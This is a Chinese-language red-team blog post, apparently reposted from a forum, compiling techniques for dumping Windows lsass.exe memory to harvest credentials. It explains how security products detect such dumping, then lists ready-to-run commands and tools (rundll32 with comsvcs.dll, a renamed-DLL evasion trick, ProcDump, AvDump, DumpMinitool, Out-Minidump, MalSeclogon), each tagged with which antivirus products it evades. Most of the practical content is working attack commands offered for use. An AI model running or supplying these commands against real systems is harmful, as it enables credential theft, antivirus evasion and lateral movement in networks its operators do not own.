dump lsass小结

admin 2022年5月3日02:42:05评论289 views字数 6155阅读20分31秒阅读模式

摘自https://forum.butian.net/share/1514

# 前言 **凭证转储**是攻击者用来破坏基础设施的最常用技术之一。它允许窃取敏感的凭证信息,并使攻击者能够在目标环境中进一步**横向移动** 负责此操作的进程是**lsass.exe**(本地安全...

0x00 前言

凭证转储是攻击者用来破坏基础设施的最常用技术之一。它允许窃取敏感的凭证信息,并使攻击者能够在目标环境中进一步横向移动

负责此操作的进程是lsass.exe(本地安全机构子系统服务),我们需要转储lsass 进程的内存

都是一些师傅们提到的,我是一个脚本小子,小结一下,希望可以帮到各位师傅!

0x01 各大杀软的特点

dump lsass小结

0x02 Windows Hasah组成

Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:

Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::
解析:用户名称为:AdministratorRID:500LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EENTLM-HASH值为:683020925C5D8569C23AA724774CE6CC

0x03 整体流程

1、通过使用访问PROCESS_QUERY_INFORMATIONPROCESS_VM_READOpenProcess/NtOpenProcess调用打开lsass PID的进程句柄

OpenProcess:https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)

2、使用MiniDumpWriteDump读取 lsass 的所有进程地址空间,并将其保存到磁盘上的文件中

注:MiniDumpWriteDump严重依赖于NtReadVirtualMemory系统调用的使用,该系统调用允许它读取远程进程的内存

参考:

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess

https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump

http://undocumented.ntinternals.net/index.html?page=UserMode/Undocumented%20Functions/Memory%20Management/Virtual%20Memory/NtReadVirtualMemory.html

0x04 两个常用会被检测的点

  • 第一个检测点:

通常发生在OpenProcessNtOpenProcess的使用上。Windows 内核允许我们的驱动程序为线程、进程和桌面句柄操作注册**回调例程列表。**这可以通过ObRegisterCallbacks来实现

注册新回调需要两个结构:OB_CALLBACK_REGISTRATIONOB_OPERATION_REGISTRATION

参考:

https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks

https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_ob_callback_registration

https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_ob_operation_registration

注:OB_OPERATION_REGISTRATION结构允许指定参数组合以直接从内核 监视任何新创建/重复的进程句柄。

  • 第二个检测点:

通常发生在NtReadVirtualMemory的使用上,ReadProcessMemory也在内部使用

参考:

http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtReadVirtualMemory.html

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory

最常用的方法是Inline Hooking来拦截针对 lsass 进程的NtReadVirtualMemory调用。

注:这种方法的问题在于监控发生在进程本身的同一环级别,因此直接系统调用unhooking等技术很容易绕过这种检测。

参考:

系统调用:https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/

unhooking:https://0x00sec.org/t/defeating-userland-hooks-ft-bitdefender/12496

更好的方法是使用ETW直接从内核接收有关特定函数调用的通知。例如,每当调用NtReadVirtualMemory时,内核函数EtwTiLogReadWriteVm将用于跟踪使用情况并将事件发送回来。现在大部分 EDR 都采用这种方式。

0x05 Bypass思路小结

方法一:规避 WinDefender ATP 凭证盗窃

简要概述:创建进程的快照,以便使用快照句柄执行间接内存读取。然后在 MiniDumpWriteDump 调用中使用快照句柄,而不是直接使用目标进程句柄。

参考:https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/

方法二:使用句柄复制 AV

简要概述:重用已打开的 lsass 进程句柄,从而避免直接在 lsass 上调用 OpenProcess。

参考:https://skelsec.medium.com/duping-av-with-handles-537ef985eb03

方法三:使用 MirrorDump 将 LSASS 转储到内存中未检测到

简要概述:加载一个任意 LSA 插件,该插件执行从 lsass 进程到转储进程的 lsass进程句柄的复制。所以转储进程有一个随时可用的进程句柄来 lsass 而不调用 OpenProcess。

参考:https://www.pentestpartners.com/security-blog/dumping-lsass-in-memory-undetected-using-mirrordump/

0x06 注意

mimikatz 执行

sekurlsa::minidump

lsass 的dmp文件用不用是标准格式的dmp文件

其实只要拿回来的内存区域是正确的 就可以

0x07 命令执行

注:要去使用powershell,默认的cmd没有sedebug权限


rundll32.exe C:WindowsSystem32comsvcs.dll,MiniDump (Get-Process lsass).Id Test.dmp full;Wait-Process -Id (Get-Process rundll32).id
for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:WindowsSystem32rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump ^%B lsass.dmp full
powershell "rundll32 C:windowsSystem32comsvcs.dll, MiniDump 520 lsass.dmp full"




0x08 工具分享

微软商店ProcDump

已失效

我们首先尝试使用微软商店工具 ProcDump 绕过杀软,它拥有微软签名

因为是微软自己的工具,所以看看他是不是能获取系统和杀软的信任

项目地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

procdump.exe -accepteula -ma lsass.exe lsass.dmp

dump lsass小结

SQLDumper.exe

已失效,和ProcDump一样,拥有微软签名

dump lsass小结

comsvcs.dll

comsvcs.dll,它是系统自带的

会被360、defender拦截,Bypass 火绒

在原理上都是使用API MiniDumpWriteDump,通过comsvcs.dll的导出函数MiniDump实现dump内存。


BOOL MiniDumpWriteDump( [in] HANDLE hProcess, [in] DWORD ProcessId, [in] HANDLE hFile, [in] MINIDUMP_TYPE DumpType, [in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, [in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam);




注:

我们要考虑权限问题,在dump指定进程内存文件时,需要开启SeDebugPrivilege权限。

管理员权限的cmd下,默认支持SeDebugPrivilege权限,但是状态为Disabled禁用状态。

dump lsass小结

管理员权限的powershell下,默认支持SeDebugPrivilege权限,并且状态为Enabled

dump lsass小结

可以通过powershell执行rundll32的命令实现

PS C:WINDOWSsystem32> tasklist | findstr lsass.exelsass.exe                     1084 Services                   0     27,564 K




命令格式:

rundll32.exe comsvcs.dll MiniDump <lsass PID> <out path> full




直接利用发现会被拦截:

rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump 1084 lsass.dmp full




简单的绕过思路:

copy一下comsvcs.dll并命名为随意名字,例如matrix.dll

copy C:windowsSystem32comsvcs.dll matrix.dllrundll32.exe matrix.dll, MiniDump 1084 lsass.dmp full




dump lsass小结

createdump.exe

已失效

createdump.exe它是随着.NET5出现的,拥有微软签名

dump lsass小结

PowerSploit 中的Out-MiniDump.ps1脚本

我们可以选择创建进程的完整内存转储。

会被defender拦截,Bypass 火绒、360

导入

Import-Module .Out-Minidump.ps1

执行

Get-Process lsass | Out-Minidump




dump lsass小结

hashdump脚本

注:cmd或者双击 hashdumpX64.exe 只会生成一个0kb的lsass.dmp,需要通过Powershell执行

mimidogz(ps版mimikatz)

已失效

项目地址:https://github.com/fir3d0g/mimidogz

下载后在目录中执行:

Import-Module .Invoke-Mimidogz.ps1invoke-mimidogz

https://t.co/pNGsLlx6Al

./DumpMinitool.exe 1 'dump6.txt' 2 660 3 FullDump minitool: Started with arguments 1 dump6.txt 2 660 3 FullOutput file: 'dump6.txt'Process id: 660Dump type: FullDumped process.

AvDump.exe

Bypass火绒

AvDump.exeAvast杀毒软件中自带的一个程序,可用于dump lsass

默认路径

C:Program FilesAvast SoftwareAvast




dump lsass小结

它带有Avast杀软数字签名

dump lsass小结

AvDump.exe --pid 1060 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp

dump lsass小结

DumpMinitool.exe

Bypass,360、火绒、defender

这个是在推特上大哥分享的LOLBIN

路径

C:Program FilesMicrosoft Visual Studio2022CommunityCommon7IDEExtensionsTestPlatformExtensions




dump lsass小结

DumpMinitool.x86.exe --file 1.txt --processId 1060 --dumpType Full

0x09 项目推荐

https://github.com/snovvcrash/MirrorDump

https://github.com/snovvcrash/MiniDump

https://github.com/deepinstinct/LsassSilentProcessExit

国外:https://github.com/b4rtik/ATPMiniDump

https://github.com/post-cyberlabs/Offensive_tools/tree/main/PostDump

Bypass360和火绒、defender不行

https://github.com/Redamancy404/MalSeclogon

使用命令:Malseclogon.exe -p [PID] -d 1 -o C:Users1255Desktoptest1.dmp

需要管理员权限,Bypass,360、火绒、defender

dump lsass小结


原文始发于微信公众号(汇编语言):dump lsass小结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月3日02:42:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   dump lsass小结https://cn-sec.com/archives/970259.html

发表评论

匿名网友 填写信息